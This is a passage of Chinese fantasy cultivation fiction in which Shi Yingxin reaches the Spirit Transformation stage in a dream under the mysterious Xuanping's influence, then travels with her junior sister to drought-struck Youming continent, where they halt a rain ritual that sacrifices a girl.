“竟是如此,”石映心追问,“那么玄牝森林为何一开始叫玄牝?” “这……”博远被她问住,目露沉思,“我还真不晓得,也许药神谷谷主和妽荼仙尊会知道其中缘由。” 能问到这些信息已经是意外之喜了,石映心并不纠缠,谢过博远之后便离开了藏书阁。 这下是坐实了旋娉确实是女娲转世的事……可旋娉和玄牝森林之间难道有什么联系?石映心便想到旋娉怂恿她去开的那个巨大蚌怪,眼见到手时却被妽荼仙尊二人制止,听她当时的话似乎很不高兴…… 【又是你们……郁垒……妽荼!】 【妽荼,我感受到她了。】 【哪呢?】 【她就在附近。】 细细想来,郁垒仙尊似乎很在意旋娉的踪迹,再结合玄牝森林被妽荼仙尊改名为谷神一事……不得不叫她怀疑此行是为了抹去旋娉(玄牝)的存在。 莫非,三者之间曾有什么瓜葛? 好好奇,但直接问妽荼仙尊肯定不成;知道旋娉的人少之又少,若她问出口了,定会被二位仙尊发现她与旋娉有所联系,到时候……到时候会如何呢?石映心也没想过后果,但心中明白这不是好事。 听二位仙尊的口吻,她们分明不喜旋娉,甚至很警惕,而旋娉却在她的心镜之中……唉,还是等她弄明白怎么回事之后,再决定要不要告诉仙尊吧。 石映心召唤出帝血剑,飞回石头洞。 * 十六满月的晚上,石映心在梦中破境了。 其实在去药神谷之前,她就隐约感到体内的灵力足够她进入元婴后期,但凡当时手边有什么类似“黑月如水”的宝贝,石映心都会尝试破境;但那会不是没有嘛,再加上差不多要出任务了,破境前后又要过渡的时间,她便打算等出完任务回来后试试。 但自从得了阿央白石之后,她体内的灵力就开始叫嚣了,似乎在和她宣告着“我准备好了我准备好了我准备好了”;可石映心因旋娉一事心有警惕,又分不清如今体内澎湃的灵力是得了上古神力的助攻,还是自身修为的水到渠成……她不能不在意这点,便选择暂时压制修为。 谁知在梦中破境了。 石映心觉得这其中很有旋娉的手笔,但箭在弦上不得不发,她只好在梦里挨天雷,简直毫无准备。 轰—— 慕雲被雷声惊醒,吓了一背冷汗,透过窗户看外头的黑夜,心说是谁家的好弟子大半夜的破境呢,也不打声招呼,让她提前设个隔音罩之类的,省得大半夜被吓醒。 设完隔音罩后,她打了个哈欠倒回床上打算继续睡,眼睛眯了一会又睁开,心想不对劲啊,那雷声听着好近?而且那个方向不是……慕雲连忙解开隔音罩听了听: 轰—— 这声太近了! 她急切地跳下床出了院子,眼睁睁地见一团闪着雷光的乌云就飘在她隔壁山头上空,下边竟然是她好徒弟石映心的石头洞。 慕雲:……我真服了。 轰—— “映心!” 飞到石头洞,院中却没人,抬头一看,屋檐上冒着灰烟,隐约 有石砖松动掉落的声音;慕雲闯入徒弟的卧房,就见她的徒儿躺在床上,边上全是天花板掉落的石块,干净的小脸上好险只有些擦伤。 月光从破洞中倾洒而下,将废墟中的恬静的睡颜照得莹莹发光。 “我可怜的徒儿……” 慕雲叹了口气,将石映心身上的乱七八糟挥去,又把她挪到外边的罗汉床上坐好,在她身后传功为她护法。 轰—— 电闪雷鸣,天雷再次劈开二人头顶的天花板,但此次落下的雷连带着掉落的废墟都被一层灵气屏障弹开到边上,并未触及屏障中闭目修行的二人。 轰—— 慕雲的额上划过两滴冷汗,她贴着石映心后背的双手隐隐发抖,渐渐地感到一些不对劲。 轰—— 雷光之中,慕雲猛然睁开眼来,诧异地看着背对着她的徒弟,不可思议地喃喃道:“怎么会是化神期的雷劫……你这丫头到底怎么回事……” 轰—— 月光透过窗洒入漆黑的屋中。昏迷中的明易不自觉蹙紧了眉头,仿若在做噩梦,躺在身边的寒竹剑发出嗡嗡的颤抖。 “映心……” 轰—— “师姐……” “师姐……” “……旋娉!” 曾换月从梦中惊醒,一闪而过的雷光照亮她苍白的面色;她四顾周遭熟悉的卧房,面色茫然,大脑一片空白,全部思绪都在回放着一个古往今来的哲学三问: 我是谁? 我从哪里来? 我要到哪里去? 第262章 她双腿发软着下了床,踉跄着走到屋外。今夜月明风清,满天星斗,曾换月的目光从隔壁山头上藏着雷光的乌云转到了自家院子的上空;那密布夜空的星幕,劈头盖脸地呈现在她眼前。 阵修不自觉退了几步,但天就在那,地就在这,能退到哪里去呢? 可她看见了……它竟然就明晃晃地藏在空中的星辰里…… ——它竟然一直都在! ——换月神阵。 轰—— 顾梦真:昏迷中…… 轰—— 慕雲“噗”地吐出一口血来,没忍住咳了两下,就是这两刻的空荡,天雷狡诈地将她劈开,她猝不及防地被雷力震飞到地上,捂住心脉满脸诧异地看向端坐在那的石映心。 她的徒儿在……汲取雷力? 轰—— 准确地说,石映心本人是在挨天雷,而她心境中的旋娉却在汲取天雷神力。这么一整,护法徒弟不遭雷劈的慕雲就很碍事了。 旋娉指引着石映心将遭受的天雷转入心镜之中,后者在这过程中处于一种无知无觉的状态,仿佛还在做梦——大概这也是狡猾的旋娉让她在梦中破境的原因之一。 这二人内里的情况慕雲是看不见的,但她很快发现天雷并不会伤害到徒弟,只是这情况实在诡异,她只能提心吊胆地在边上时刻准备着。 轰—— 随着最后一声天雷落幕,石头洞上的乌云悄然散去。慕雲将徒弟半抱在怀里,紧皱着眉目探查她体内的情况;来来回回不知道几次,许久之后她才吁出一口气,不安心地安心了。 起码表面上看不出来什么……应该问题不大吧?之后再请师父和金花她们看看好了。 希望只是她徒弟天赋异禀。 屋里一片狼藉,慕雲也没力气收拾了,将徒弟抱回主峰安顿好后,这才精疲力竭地回屋中休息。 * 曾换月去石头洞没找到师姐,还被一片废墟吓了一跳,连忙飞去了云雨峰找师父,结果又被一脸疲惫的师父吓了一跳,震惊道:“师父,我到底睡了多久,怎么您像老了十岁一般?” “去去去!”慕雲本来见小徒弟醒了心里还高兴呢,只是还没力气高兴到面上,这会见她一开口就没好听话,顿时有些嫌弃,“真是清闲日子到头了。” 曾换月就叽叽歪歪地说自己去石头洞找师姐结果看到一片乱七八糟巴拉巴拉,手舞足蹈的模样瞧着精神十足。 慕雲喝口茶水:“你师姐昨晚破境,这会在我屋里歇息呢,你消停些,别打扰她。” “什么?”曾换月瞪着大眼睛惊讶道,“师姐破境了?” 完了回过神来,又笑道:“嘿嘿,我也破境了师父,我入元婴后期了!本来还有点不可置信呢,以为是在做梦;但既然师姐也破境了,连带上我好像也没什么不对……” 慕雲没懂到底哪里对了,顺嘴说了句:“你师姐是入化神了。” “什么?”曾换月一下安静下来,“入化神了?” 完了还是自己回过神,嘿嘿笑着:“师姐居然比大师兄还早入化神?果然我的猜测是对的,早知道当时就和顾梦真打赌……” 慕雲:“打什么?” “打心眼里高兴!”她抿着唇笑,“我打心眼里高兴呢!对了,大师兄和二师兄他们呢?” 慕雲瞥她一眼:“你不知道?” “知道啥?” 慕雲就“如此如此这般这般”地和她说了映心告诉她的事情,见小徒弟听得一愣一愣的,一问才知道她连自己什么时候昏迷、怎么昏迷的事都不记得,懵懵懂懂地醒来就到家了。 慕雲“啧”了一声,若有所思:“难道那药神洲的毒真有这么厉害?” 曾换月思及此也惘然道:“确实厉害,怎么能叫人无知无觉地中了毒呢?甚至连师姐和大师兄都没发现……” 慕雲想到什么,打量她道:“不过你此次在梦中破境,可是入了什么梦境?” 曾换月一呆:“哦,有吗?好像是有做什么梦……我想想……” “好了,不想了,”慕雲见她面色苦恼,便拍拍她肩膀道,“你们几人这次也算是因祸得福,旁人想得到这样的机缘还没有呢。既然你师姐还没醒,你也别想着玩,趁这几日好好调养生息、巩固修为,知道吗?” “知道了。”曾换月听话地点了点头,又道:“我先去看看师姐!” “去吧。” 曾换月小声地进了屋,看见她师姐躺在床上,面目安静。她并不是无知无觉地做梦,而是难捱地过了梦中的一日又一日,因此这一出来,便有时过境迁之恍惚感,总觉得很久没见到师姐了。 “唉……”她拉住师姐的手,轻轻拍了拍,“师姐你快醒来吧,我有好多话要和你说……你都不知道我在梦里经历了什么……太折磨人了,比我高考冲刺倒计时一百日还折磨人……” “我不知道要不要告诉师父……感觉这是一件很恐怖的大事……你得帮我出出主意……” “而且我好像……找到回家的办法了……” * 七日之后,石映心(化神期版)总算醒了。 离得最近的慕雲最先赶来:“怎么样啊映心,可有觉得什么异样?” 石映心看看师父,扬起一个笑容:“没什么异样,只是有些累。” 慕雲总算松了口气,揽着她肩膀说:“乖徒儿,你辛苦了,好好休息吧。” 石映心微微颔首,手心上却变出了一个因果牌,正发着微弱的光芒。慕雲顺着她的视线看去,见她将牌子翻了过来,上边正渐渐冒出一行小字来,竟是限制日期,这一看只剩下一个月了。 慕雲记得她们才回来没多久啊,震惊道:“你何时取的牌子?” “有些时日了。” 慕雲不赞同道:“你这孩子,怎么跟你大师兄学?做人不必那么勤快!” 石映心也叹了口气:“师父,这并非是我自愿取的牌子……唉,说来话长。” “长话短说。” “很难说。” “……” 不管说不说,取了因果牌就要去做任务,好在徒弟已入化神……虽说这破境破得非常猝不及防,但想来也算好事一桩? 二人没说多久话,曾换月就跑进来了。这家伙一和她师姐对视上,霎时泪眼朦胧,语气夸张道:“师姐!你总算醒了——” 不知道的还以为她师姐是昏迷了多久,跟某二人一样。 二人对上眼,还是石映心更惊讶些:“换月?你醒了?没事吧 ?” “我醒了!我没事!”曾换月扑过来抱她,“师姐你也醒了!我等你好久呜呜呜!” 石映心拍拍她肩膀:“大师兄他们呢?” 慕雲在边上答道:“他俩还没动静呢,不过既然换月已经醒来,那二人也差不多了。” “嗯。”这确实是个好消息,比破境入化神一事还更让石映心高兴些,原先苍白破碎的脸上总算露出一个真心的笑容,“没事就好。” 三人胡乱说了些话,最后还是扯到正事上来。 曾换月听说又要出去做任务了,拍着胸脯保证道:“师姐你放心,士别三日当刮目相待,元婴后期的我已经不是从前的我了!就算大师兄二师兄不在,就我一人也能帮上你的忙!” 慕雲听着莫名想笑,但顾虑到不能打击徒弟,抿着唇忍住了。 石映心瞅瞅师妹,却是微微摇了摇头:“不,这次我一人去。” 二人皆是一愣。曾换月大惊失色道:“为什么啊师姐,我不会拖后腿的!” “并不是怕你拖后腿,”石映心真心说,“只是怕连累你。” “我们师姐妹之间说什么连累不连累的?”曾换月抱住她胳膊,“再说是我硬要跟着去,就是遇到什么危险……那也是自作自受,我怎么会怪你?” “呸呸呸。”慕雲捂住小徒弟嘴巴,“别说这些不吉利的话!” 曾换月:“唔唔唔!” 她把师父的手扒拉开,叹了口气道:“唉,师父也到了三缄其口的年纪了。” 慕雲翻白眼:“闭嘴吧你。” 曾换月可怜兮兮道:“师姐,我知道这次我们三人昏迷不醒一定吓到你了,但不会有下次了!而且你看,我们仨这不是没事吗?” “只是……”石映心依旧面露犹豫。 “好了,”慕雲拍拍两个徒弟的肩膀道,“你们四个都是有福之人,不会出事的,就是遭难也会因祸得福;退一万步说,假使未来真有大难,你这么整日忧心忡忡、千思万虑的,在大难来之前先让忧思亏了心脉,那才是遭殃。” “是啊师姐,”曾换月半是撒娇半是劝慰,“兵来将挡水来土掩嘛,凡事到时再说!” “你以往正是这样的行事作风,”慕雲笑道,“怎么入了化神反倒变得警惕了?” 那倒是,放在平时石映心才是那个心大的、毫不顾虑的人;但这会她的心里就住着一个祸患,换月她们又是因为旋娉才陷入昏迷……她自己是无所谓,只是怕旋娉再对换月她们做出什么不可挽回的事来。 可是……好吧。 其实她也明白的,命运不可躲避,它甚至无处不在,等你惊觉那一幕规划好的剧情,懊恼自身的渺小。那么……还不如视而不见,一如往常,掌控自己手中的小事,走好当下每一步。 “好,”石映心朝小师妹笑了笑,“那就一起去吧。” “好耶!”曾换月振臂欢呼起来,消停了才问,“这次去哪啊?” 石映心便将因果牌递给她看。 “火水之争?”曾换月翻来翻去地瞧了瞧,“幽冥宗,桑九?这也是个人吧?估计是幽冥宗的弟子……说起来我还没去过幽冥洲呢,师父,那里好玩吗?” 第263章 “还行吧,”慕雲忽然想起什么,“不过……我怎么记得近日幽冥洲似乎有些异样?” 石映心:“什么异样?” “火水之争……”慕雲拿过牌子看了看,有些印象了,“嘶,想起来了,他们那好像闹旱灾了,就一个月前的事。” “旱灾?”曾换月还是第一次在话本外听到这个词,但已经感到了难办,“怎么会出现旱灾呢?幽冥宗那些人没有作为吗?” 慕雲耸肩道:“幽冥宗是修士门派,又不是龙王宫……再说这种天灾人祸一般不归我们八大门派管,大部分灾祸只要熬过一两个月就没事了,实在严重的我们才能出手……” “不过,”她摸摸下巴,“前两日我听你们陶远师叔提过一嘴,说是幽冥宗上报请求支援,要找我们借点能降雨的宝器呢……你们这次过去,不如带上梦真那艘降雨云舟。” 石映心先应了下来,看着因果牌若有所思道:“火水之争……旱灾……难道我们此次的任务就是和幽冥宗的旱灾有关?” 慕雲:“依为师看,很有可能。” 曾换月便考虑道:“那我们要多带些水过去喽?对了,我要多画一些降雨符,指不定能派上用场呢……” 见她已经开始筹划起来了,慕雲便问三徒弟:“你打算何时出发?” 石映心想了想:“……后日吧。” “好,休息好再走。” “嗯。” 她回到石头洞,这里已经被她师父和小徒弟修缮完毕了,一切都在她睡梦中进行,石映心本人并不知自己的小洞府曾遭遇过被雷劈的倒霉事。 旋娉一般在她独自一人的时候出来,比如这时。 “入了化神期,高不高兴?” 石映心正在打坐调养生息呢,闭着眼睛继续修炼:“多亏了你。” “哈哈哈哈!”旋娉笑起来,毫不掩饰自己的得意,“不用感激我,你只需知道我是为你好的。” “旋娉,”石映心默了默,问道,“你到底想做什么?” 没想到她突然这么一问,旋娉也是一愣,继而道:“不管我要做什么,都是为你好的。” 石映心道:“我不仅要你为我好,还要为我的师父好,为我的小师妹大师兄二师兄好,还有我几位师叔师公,晴雯师姐莫默师兄;以及其他朋友,比如泉芷姬滢姬漓……” “行了行了。”旋娉无语地打断她,“你在意的人还真多。” 石映心说:“我之后会认识更多的人。” 旋娉便道:“你放心,我要做的是有利天下的大好事。” 听她这得意满满的语气,石映心不由得问:“是什么?” “届时你便知道了。” 石映心:“若真是大好事,你怎会避之不谈?” “小镜子,别说我瞧不起你,”旋娉语重心长道,“只是我要做的事并非你能懂得。” “我不懂,那么谁懂呢?” “就是无人懂得,世人皆不理解我,我也要做。”旋娉说,“没人能阻止我,因为这是天命所归,大势所趋……你不必反驳我,你是天地之镜,早就有所感应。” 石映心便不说话了,只继续打坐修炼。 旋娉似有似无地笑了一声,销声离去。 临行前,石映心去探望大师兄。这不是她第一次来,先前也来“照”过,但确实照不出什么,只感到一具充满灵力的肉身。这次她来是为了做道别,顺便将自己这几日为了静心而雕刻的木雕送给他:还是一只木雕黑猫。 若她能看到先前那只,她会发现这次雕得更丑了,但好在没看到,因此还自我感觉良好地塞到大师兄的手中,温柔地说:“大师兄,看话本上说有情人分别前要留下定情信物,我就做了这个送给你。” 说罢亲了亲大师兄的侧脸,静静看了会他好看的睡颜,这才起身道:“你要早日醒来……那么我走了。” 此女子走得头也不回,因此没看到她有情人拿着木雕黑猫的手微微一颤。 石映心又去了二师兄那道别,小师妹已经在里头了,正在忙碌地搜刮顾梦真储物袋中的有用之物呢。 “师姐,”见到来人,坐在地上、身边堆了一大片宝器的曾换月抬头苦恼道,“这些都是什么玩意?好多我都不知道干啥用的。” 石映心便说:“那就先带上我们认识的……其他的看眼缘吧。” “好吧。”曾换月一边挑选一边嘀嘀咕咕,“早知有今日,就让他把每件宝器都写上使用指南好了……” 石映心也这么觉得,走到二师兄边上说:“二师兄你放心,这些宝器若是用坏了,我都会赔你的。” “师姐,你这话就不对了,”曾换月笑嘻嘻地凑过来,朝顾梦真做了个鬼脸,“二师兄最——大——方了,怎么会和我们计较呢!” 石映心想了想:“说的也是。” 顾梦真:*_* 临行前一日,金花仙尊找上门来:“本想前几日就想拿酬劳给你的,但听你师父说你在闭关修炼,所以就拖到今日才来。” 石映心其实都要忘了此事,刚才见了二师兄也没想起来呢。接过金花仙尊手上的储物袋后,她客客气气道:“多谢仙尊。” “这点报酬算什么,该是我谢谢你们……不过,”金花仙尊似乎有些斟酌,但还是问道,“映心啊,那味识血草,你们是从何处得来的?” “识血草?”石映心哪有印象啊,“那是什么?” 金花道:“这是一种能够识别二人之间是否有血缘关系的罕见草药,非自然可生,需人为炼制培养,因此属于个人的秘方药,并不会外传……” 她说到这呢,还见石映心一脸“然后呢”的表情,真是又好笑又无奈,只好把话说得明白了些:“这是你们买来的?” 石映心摇摇头:“二师兄说不做亏本买卖。” 金花已经笑出来,忽然想到什么,脸色一变:“那这是……你们在谁家院子中摘来的?” 石映心微微颔首:“也许是,我们去罗宝山石窟之前借住在药神谷道友在螺城的家中,她们的娘亲是螺族舍嬷……就是药师,在院中养了许多花草虫蛇;我发现其中有几味是册子上记载的,便采来了几株,也许其中就包括了仙尊你说的识血草。” “螺城的舍嬷?”金花听到这,竟不掩急切地问:“那两个弟子叫什么名字?” “屠芜,屠莱。” “不对……”她又问道 ,“她们的娘亲呢?” 石映心便说:“金虫。” “金虫……”金花喃喃道,“金虫……” 石映心看她的模样,像是想起回忆中已然褪色的陌生片段,她迫切地渴望想起更多,可惜那过往太久了,或是原本就不那么印象深刻,因此她的情绪一直处于茫然和恍然之间。 “金花仙尊,”石映心打量着她的神色,“难道您认识这位药师?” 金花回过神来,朝她扯起一个笑:“我离开药神洲已久,时过境迁,哪里还有算的上认识的人?再说你口中的这位药师只是个凡人罢了,也许我离开前她都还未记事呢。” “说的也是。”石映心微微颔首,又道,“不过仙尊也不必遗憾,凡人的记忆本就短暂,所以她们才会用各种方式记录下所历经的往事。” 金花似乎嗤笑一声:“你是说族谱?” 石映心摇摇头:“越冠冕堂皇的东西越没有价值。真相往往藏在不能显世的地方,就是时过境迁也无法将它泯灭;也许成为人们口中谣传的流言,也许是不可告人的神药秘方,也许是……相隔千万里也因血脉连结的使命传承。” 金花怔神地望着她,甚至在这位小弟子告别飞走之后,也愣在原地许久。 归壹派的山风轻盈抚人,吹动药修身上寡淡却几十年也挥之不去的森林气息。 * “什么,师姐你是说金花仙尊就是当年让谷神森林出现异变的人吗?” 去归壹派驿站的路上,曾换月听了师姐和她说的她们在昏迷中发生的事,惊讶道:“我们门派的传闻是说她是和药神谷闹了矛盾才来我们这避风头,顺便回踩对方一脚……这倒是和药神谷那边的传闻对上了,看来说的就是同一人嘛。” “嗯,”石映心颔首道,“我们只是知道金花仙尊是谁,却不知道她做了什么;药神谷是知道她做了什么,却不清楚她如今是谁……若将两者联系起来,大概就能恢复传闻的全部面貌了。” 曾换月笑道:“看不出来金花仙尊以前还挺大胆的嘛。” 石映心颔首:“和屠芜一样。” “屠芜?”曾换月挠挠脸,有些没想明白师姐怎么就突然提到屠芜了,大概是因为都是药神谷的人?“哦……是吗,屠芜确实也很大胆,不然也不会带我们去罗宝山石窟了。” 石映心瞥她一眼:“嗯。” 过了一会,进到传送驿站里头等着传送的时候,曾换月才突然明白过来,一拍脑袋道:“哎呀师姐!你说‘和屠芜一样’,是说金花仙尊当时大闹谷神森林的原因也是为了螺族吗——对啊,她也是螺族的人!” 石映心等她反应过来了才道:“嗯,不过也只是我的猜测罢了:可能是金花仙尊在药神谷中发现自己迟迟未发病,于是开始怀疑怪病的起源……不过她和我们的调查方向不同,她并未去石窟,而是在谷神森林中调查。” “不知她是费了多大的功夫,总之她是发现了谷神森林中存在一种能解决怪病的力量……” 第264章 曾换月:“就是师姐你遇见的那个巨大蚌怪?” “嗯,”石映心点头继续道,“我猜想那蚌怪中的蚌珠拥有和姬源血液类似的神力。可惜谷神森林离开了蚌珠的镇守便会出现异变,所以金花仙尊遭到了谷主和其他长老的反对……哪怕她当时的理由是能让谷中弟子学习蛊术。” “得不偿失啊。”曾换月客观评价道,“若是我也不会同意的。毕竟当时的金花仙尊仅有理论,而且成功了也只是让弟子们‘能’学习蛊术,而不是一定会成为厉害的蛊修……但蚌珠一旦出事,谷神森林就完蛋了呀。” 石映心也说:“不错。所以我想当时的金花仙尊心中是很挣扎的,其实她也没办法做出为了拯救族中女人而导致药神谷出事的选择。” 曾换月感叹道:“很能理解。一边呢是大家已经默认的、似乎都无所谓了的遗传怪病,一边是会造成新的动荡……其实双方都有得失,可就是已经被潜移默化的痛苦更容易接受。唉,金花仙尊也怪不容易的。” “所以她选择了离开。”石映心朝师妹笑了笑,“来我们归壹派了。” 曾换月“嗯?”了一声,见师姐的笑容,这回是很快反应过来了:“师姐你的意思是,金花仙尊和药神谷闹掰不假,但她千里迢迢地来到我们这,并不是为了被刺药神谷,而是来找其他办法了?” “嗯,”石映心道,“我们归壹派可是天下第一大派。” 曾换月哈哈笑道:“哎呀,还是我们被摆了一道!要是金花仙尊知道了屠芜她们解决了怪病,一定会很开心吧?师姐你有和仙尊说吗?” 石映心摇摇头道:“这样的惊喜还是等她重返故里的时候亲自体会吧。” “嘻嘻,明明就是师姐你懒,不想说那么多前因后果。” “……嘿。” 这大概就是:知师姐者莫若小师妹。 * 归壹派驿站==> ==>幽冥宗驿站 说是幽冥洲闹了旱灾,但二人初来乍到,并未看到想象中的可怖情景。 二人想象中的:烈日炙烤、焦金流石、大地干旱、民不聊生…… 现实情况:寻常的民间市井景色。 曾换月和师姐坐在热闹的小吃街中,一边吃锅贴一边左顾右盼:“怎么感觉一片祥和呢?不是说闹了旱灾吗?这锅贴还蛮好吃的。” 石映心夹起一个锅贴蘸醋,一口下去香浓的汤汁伴着醋流进嘴中,真是美味至极:“嗯嗯,确实好吃,他们看起来也不缺水。” “这家好吃,我们再点些吧师姐!听说幽冥洲的特色是海鲜呢,这店小二给我们推荐的菜也没海鲜啊,怎么能不点海鲜呢?” 石映心连连点头:“好。” 曾换月伸长脑袋看了眼边上的菜单,叫住过路的小二道:“小二,劳烦再来两份鲅鱼饺子和海肠捞饭!” “哎呦,两位客官是外地来的吧?”那小二闻言一拍手,面露苦恼道,“二位有所不知,我们这闹了旱灾,已经半个多月吃不上海鲜啦!不过店里除海鲜外的菜色都能正常点哈。” “旱灾?”曾换月和师姐对视一眼,奇怪道, “可我看你们这民生安定,用水正常,没啥事啊?” “城内是没啥事,因为我们会祈雨呀!只是这祈祷来的雨只能解城内用水之需,解不了外头干涸的海水,”小二把手一摊,“近海的水干涸了,远海又危险,渔民们只能捡些被冲到海滩上的死鱼死虾,这种不新鲜的我们哪里敢买呀?” “祈雨?什么意……” 曾换月还想问呢,但小二又被别的客人叫走了。她和师姐茫然对视之间,还能听到小二和别的客人的对话: “哎呦客官,我们真不知道什么时候能收到海鲜!” “……远海没人敢去呀,那多危险呢!不只是我们这断货,您去别家看看,都一样的!” “哎呦,不只是客官您,我这半个月多没吃海鲜都闹得心慌呢,我们幽冥洲的人不吃海鲜怎么活呀……真是天灾人祸哪!” …… 从他们的对话中,师姐妹二人得到了有用的信息:一是确实闹了旱灾,但据这个小二所说,他们能够祈雨得到降水解决城内用水之需;二是目前看来最严峻的问题是吃不上海鲜了,因为祈雨解决不了近海的旱,毕竟鱼长在海里而不会随天雨降下;三是远海很危险,没人敢去。 目前看来没出什么大事。 石映心和师妹吃不到当地特色海鲜颇有些遗憾,但此行也不是来吃饭的,她们还有任务要做呢。 吃饱了饭,二人准备去幽冥宗找那个叫桑九的人。但幽冥宗要怎么去呢?路上也没标识什么的,于是随机捉住一人问:“这位姑娘,请问幽冥宗往哪里走啊?” “幽冥宗?”路人姑娘下意识打量了二人,摇摇头道,“这会去不了。” “啊?”曾换月一愣,“为啥去不了?” “时候没到呀,”路人姑娘道,“去幽冥宗的路要到子时才开,届时你们在城门口的那颗大槐树边上等候,便会有一扇通往幽冥宗的门出现。” 没想到去幽冥宗还要这些规矩呢,石映心有些新奇:“原来是这样。” “是啊,不过……”路人姑娘好心提醒,“我劝二位如果没事还是别去为好。” “这是为何?” 路人姑娘的脸上露出可怖的神情:“那扇门内的路可不只是通向幽冥宗,还连接着幽都,路上遇到鬼都是正常的,一不小心走到阴曹地府去才倒霉呢!等子时一过门一关,不知道要在里头待上多久!” “先前常有人不小心走到幽都去,结果在幽都待了几日,出来后都没人样了;毕竟那处阴气极重,人的阳气很容易就会被耗尽,出来后大病一场都是常事呢,能保住小命就谢天谢地了!” 石映心和师妹对视一眼,和路人姑娘微微颔首道:“我们知晓了,多谢姑娘。” “不客气哈~” 二位修士自然不惧怕幽都,甚至还有些好奇。曾换月听说师姐之前误闯过一回,便问里头的景色。 石映心想了想:“记不太清了,其实并不算是我本人进去,只是借何碧薰的记忆看过,当时思绪懵懵懂懂的,就像无知无觉投胎鬼魂,只记得大概经历了什么,回神后对幽都的印象更是一片朦胧。” “这样啊,”曾换月摸摸下巴,感叹道,“幽都……真是一个叫人兴趣盎然的神秘地界呢。” 石映心见她表现出浓厚的兴趣,便问:“为何你这么好奇?” “因为就是……”曾换月一顿,“人死后都要去地府的。先不说我们这些长生的修仙者,民间的凡人甚至畜生,死了之后都要去那里轮回;还有什么十八层地狱呀,什么生死簿啊……这都和我们息息相关呢,虽然是死后的事情了吧。” 石映心微微颔首,又问:“换月,你好奇天庭吗?” “啊?天庭?”曾换月挠挠脸,“也不是不好奇吧,但天庭不都是神仙吗,感觉就那么回事吧;主要是能当神仙的人才有几个?可人人都得当鬼呢!” 石映心觉得她说得有理。生和死之间,死已是确定的事,因此好奇自己死后的生活也很正常;至于飞升成神,则是遥不可及到懒得去遐想了。 起码石映心所知道的、离飞升最近的人,便是旋娉…… 可她似乎也失败了,要不然如今也不会藏在她的心镜之中。 但她明明…… “师姐,”曾换月在她眼前挥挥手,“师姐!” “……嗯?” 曾换月:“你在想什么呢?都想走神了。” 石映心:“我在想现在还早,我们要去哪里消磨时间。” “嘿嘿,我早就做好攻略啦!”曾换月变出一个小册子来,拿在手上翻啊翻,“这次大师兄不在,就没人管我们了,我就想说不定有机会可以到处去玩玩呢?所以来之前就做了攻略……我看看噢,今日天气不错,不如我们去看海吧!” 看海?石映心颔首道:“嗯,听那小二的说法,近海的旱灾应该比城中严重,我们去看看情况。” 曾换月“啪”地把册子合上,有些遗憾道:“是哦!那应该没什么好风光欣赏了。” 石映心便说:“海边的好风光常见,旱灾可不常见。” 曾换月想想也是,笑道:“还来得巧了!” 二人也不赶趟儿,一路都走热闹的街市,一边感受当地风土人情一边问路走去海边,到那地的时候手上还拿着不少吃的玩的。这时候能看见沙滩了,天色在不知不觉中渐入昏沉黯淡,抬头一看,是笼罩在沙滩上的乌云遮蔽了日光。 她们走近一瞧,发现这沙滩好长一片,一开始还有沙子,但沙层渐浅,很快就变成了岩石,紧接着石头地戛然而止,变成了断层的陡峭石壁;这之后还是没有海水,继续伸长脖子往远处望,几乎要到天海交际处才能望见一线海面。 也就是说,如果渔民们要出海,必须要搬运着船想办法越过这断了海水的岩石峭壁,再走过好长一段路,才能摸到海水。 费力不说,一看就很危险。 “老天奶,”曾换月瞪大眼睛从左看到右,将这荒芜的沙滩尽收眼底,“还真闹旱灾了,瞅着还怪恐怖的……” 石映心也是第一次遇见这般景况,抬眼看了看乌云,心中有些疑惑:“我还以为旱灾就是不下雨……为何海水会退岸这么严重呢?” 第265章 “是啊,”曾换月也觉得奇怪,“那小二说祈雨也解决不了近海的旱灾……我看这天上乌云密布的,倒是有风雨欲来的架势;若是天上下了足够多的雨,将海水和岸重新相连,是不是就能解决近海旱灾的问题了?” “那要很多的雨了,”石映心望了望干旱的地界,“能补满此处的雨,搁城中就要闹涝灾;再说凡人祈雨得来的雨应该不会有那么大的雨量。” 曾换月恍然:“是哦……欸,师姐你看,沙滩上有好多人!” 石映心闻言看去。她们这会站在陆地高处,并未进入沙滩,因此看那些人像一群小蚂蚁一般,仿佛在排列着什么;其中有几个穿着青衣的人在暗黄的沙滩上格外显眼。 再定睛一看,是八位穿着青衣的童子正在围着一个“什么”转圈圈跳舞,圈中间有一个穿着青衣的中年男人挥舞着手指挥,嘴上似乎念念有词;边上跪着一些人在朝天不停拜着念叨着,又有敲锣打鼓者。 声随风来,传入二人的耳朵,大概是当地的话语,说得又飞快,她们完全听不懂。 二人专心地盯着看,趁那八位童子转圈圈的空荡,总算瞧见了他们围着的“什么”是什么:一个穿着青衣、带着丑陋面具的瘦弱女子,正仰面躺在……不,是被绑在一张简陋的木床上,并不挣扎。 “这像是什么仪式……”曾换月眯着眼睛看得投入,“难道这就是他们幽冥洲的人所说的祈雨?” 石映心应和:“很有可能。” “哈哈,师姐你别说,咱们这样远远看着他们排兵布阵又唱歌又跳舞的还挺有意思欸,”曾换月嘿嘿笑道,“他们祈求的神祇若是在天有灵,会不会也这么觉得呢?然后像皇帝赏赐舞女一般降下雨来?” 石映心很容易代入这视角,微微颔首道:“你很懂某些神祇的心思。” “是吗?我就瞎想啦……咦?他们这是要干嘛?” 在曾换月的眼中,就见边上拿着火把的人将火把递给了着青衣的中年男人,然后男人将火把往女子身下的木床上一扔,紧接着掏出一个长鞭往女人身上啪啪打了几下,双手打开仰天长呼道:“雨!雨!雨——” “我去!”曾换月猛地瞪大眼睛,“他们在杀人呐!师姐——” 她师姐同时有了动作,立刻飞身而去,一袭月白色的门服破开灰蒙蒙的景色,如飞鸟一般从天而降,利剑出鞘霎时破开女人身上的束缚;她轻松将人拎起,在一群人措手不及的目瞪口呆之中,飞到了一边的空地上落下。 女人……这会看出来是个女孩了,她脸上的面具不知何时被剑破开,掉落在沙地上悄无声息。石映心看到一张昏迷中的稚嫩脸庞,心中松了口气:还好没死。 “师姐!”曾换月紧跟着飞来,接过师姐手中的女孩,上下打量她情况。 “来者何人!” 一声厉喝吸引了二人的注意力,正是那个着青衣的中年男人,见他一脸掩饰不住的怒色,但大概是碍于二人飞天的本领,因此也有忌惮,只站在那没礼貌地喊道:“为何要坏了我们的好事!” “好事?”石映心真心地问,“杀人好事?” 中年男人皱着眉目,来回打量师姐妹二人:“你们不是幽冥洲的人?” 石映心:“不是又如何?” “哼,那你们是什么都不懂就乱插手!”中年男人闻言更有底气了些,挺起大肚腩道,“不要多管闲事,快将人还来!” 曾换月大声嚷道:“还给你们不就是送她去死?不还!” 